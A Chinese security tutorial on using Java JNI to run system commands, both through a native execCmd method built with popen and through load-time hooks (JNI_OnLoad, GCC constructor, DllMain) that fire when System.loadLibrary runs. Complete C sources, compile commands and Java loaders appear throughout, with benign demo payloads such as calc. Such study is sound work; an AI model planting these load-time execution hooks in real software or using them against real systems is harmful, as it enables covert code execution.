浅谈Java-JNI如何加载动态库时直接执行恶意代码
JNI前言 Jni全称java native interface,可以将它分为三部分,java,native代表当前程序运行的本地环境,一般指windows/linux,而这些操作系统都是通过C/C++实现的,所以native通常也指C/C++语言,interface代表java跟native两者之间的通信接口,一个Native Method就是一个java调用非java代码的接口,jni可以实现
JNI前言
Jni全称java native interface,可以将它分为三部分,java,native代表当前程序运行的本地环境,一般指windows/linux,而这些操作系统都是通过C/C++实现的,所以native通常也指C/C++语言,interface代表java跟native两者之间的通信接口,一个Native Method就是一个java调用非java代码的接口,jni可以实现java和C/C++通信。
利用JNI加载动态链接调用函数RCE
利用Jni加载动态链接RCE的步骤:
- 编写一个 java 文件,其中定义一个 native 方法,然后使用 javac 编译得到 .class 文件
- 使用 javah 进行对 .class 文件进行处理,得到编写 C 代码所需的头文件。
- 编写命令执行的 C 语言实现
- 将编写的 C 代码编译为 lib 或者 dll(注意jdk版本要与目标机器的jdk保持一致)
- 编写一个 Java 类调用 System.loadLibrary 方法加载 dll 文件。、
编译一个 java 文件定义native方法
准备 EvilClass.java
public class EvilClass {
public static native String execCmd(String cmd);
}
在当前目录运行
javac EvilClass.java
生成C代码所需的头文件
java低版本
javah -jni EvilClass.java
java10之后用法 -h . 表示将生成的 JNI 头文件保存到当前目录。
javac -h . EvilClass.java
这个命令用于为 Java 类 EvilClass.java 中声明的本地方法生成 C 语言头文件
EvilClass.h
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class EvilClass */
#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: EvilClass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
(JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif
编写C文件包含头文件
上面的头文件中生成了一个Java_EvilClass_execCmd的C函数,接下来,我们给出C语言的实现,以实现上面的函数:
编写EvilClass.c实现了接受cmd,执行系统命令并且包含了之前的头文件,可以让java调用
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "EvilClass.h"
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
linux编译生成对应动态链接库文件
gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c
windows下使用
gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o libcmd.dll EvilClass.c
linux实际命令编译生成so文件
gcc -fPIC -I"/usr/local/java/jdk1.8.0_202/include" -I "/usr/local/java/jdk1.8.0_202/include/linux" -shared -o libcmd.so EvilClass.c
window 实际命令编译生成dll文件
gcc -fPIC -I D:\Progra~1\Java\jdk1.8.0_65\include -I D:\Progra~1\Java\jdk1.8.0_65\include\win32 -shared -o libcmd.dll EvilClass.c
对应的头文件可以在jdk的 inlude 目录下参考

加载 so 文件
后续使用 System.loadLibrary("libname"); 或 System.load("/libpath") 加载即可,注意前者是在java.library.path中找dll,后者要用完整的路径自定义so,加载完就可以正常调用对应的native方法了
public class Exp {
public static void main(String[] args) {
System.out.println(System.getProperty("java.library.path"));
System.loadLibrary("libcmd");
EvilClass example = new EvilClass();
String res= example.execCmd("whoami"); // 调用native方法
System.out.println(res);
}}
这个java.library.path是java搜索共享库的路径,如果用loadLibrary方法的话,他是不能带路径的,只能从java.library.path中搜索并加载,所以要用loadLibrary方法加载dll的话需要确保dll在搜寻路径下面
执行成功RCE

深入探究JNI的利用:如何在加载动态链接库时直接执行恶意代码
我们上面实现了调用so加载恶意方法,然后调用恶意方法实现rce。那么我们思考一下能不能跳过调用恶意函数,加载的时候就可以直接RCE?
有以下三种方法
利用 JNI_OnLoad
JNI_OnLoad 函数确实是一个可选的 JNI 函数,用于在本地库被加载到 JVM 时执行初始化工作。这个函数在 Java 程序调用本地方法之前会被自动调用一次
我们编写c代码
#include <stdlib.h>
#include <jni.h>
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
system("calc");
//system("touch success");
return JNI_VERSION_1_8;
}
然后生成dll动态链接
gcc -fPIC -I D:\Progra~1\Java\jdk1.8.0_65\include -I D:\Progra~1\Java\jdk1.8.0_65\include\win32 -shared -o libcmd.dll EvilClass.c
写java代码加载dll文件成功RCE
public class Exp {
static {
System.loadLibrary("libcmd");
} public static void main(String[] args) {
}}

利用 __attribute__((constructor))
__attribute__((constructor)) 是 GCC 和 Clang 编译器提供的一个扩展语法,它允许标记一个函数为构造函数,该函数会在程序启动时自动执行。更具体地说,这种函数会在程序的 main() 函数执行之前,或者在动态链接库加载时被自动调用
编写c代码
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) myInitFunction() {
// 在加载动态链接库时执行特定代码
system("calc");
}
然后生成dll动态链接
gcc -fPIC -I D:\Progra~1\Java\jdk1.8.0_65\include -I D:\Progra~1\Java\jdk1.8.0_65\include\win32 -shared -o libcmd.dll EvilClass.c
写java代码加载dll文件成功RCE
public class Exp {
static {
System.loadLibrary("libcmd");
} public static void main(String[] args) {
}}
成功在加载时候RCE

windows下利用DLLMain
DLLMain是Windows动态链接库的入口点函数,在DLL加载和卸载时会被自动调用。
编写c代码
#include <Windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 在DLL加载时执行特定代码
system("echo 'Rce Successfully!'");
break;
case DLL_PROCESS_DETACH:
// 在DLL卸载时执行特定代码
break;
case DLL_THREAD_ATTACH:
// 在线程连接到DLL时执行特定代码
break;
case DLL_THREAD_DETACH:
// 在线程从DLL断开时执行特定代码
break;
}
return TRUE;
}
编译
gcc -fPIC -I D:\Progra~1\Java\jdk1.8.0_65\include -I D:\Progra~1\Java\jdk1.8.0_65\include\win32 -shared -o libcmd.dll EvilClass.c
在加入动态链接时成功RCE
public class Exp {
static {
System.loadLibrary("libcmd");
} public static void main(String[] args) {
}}
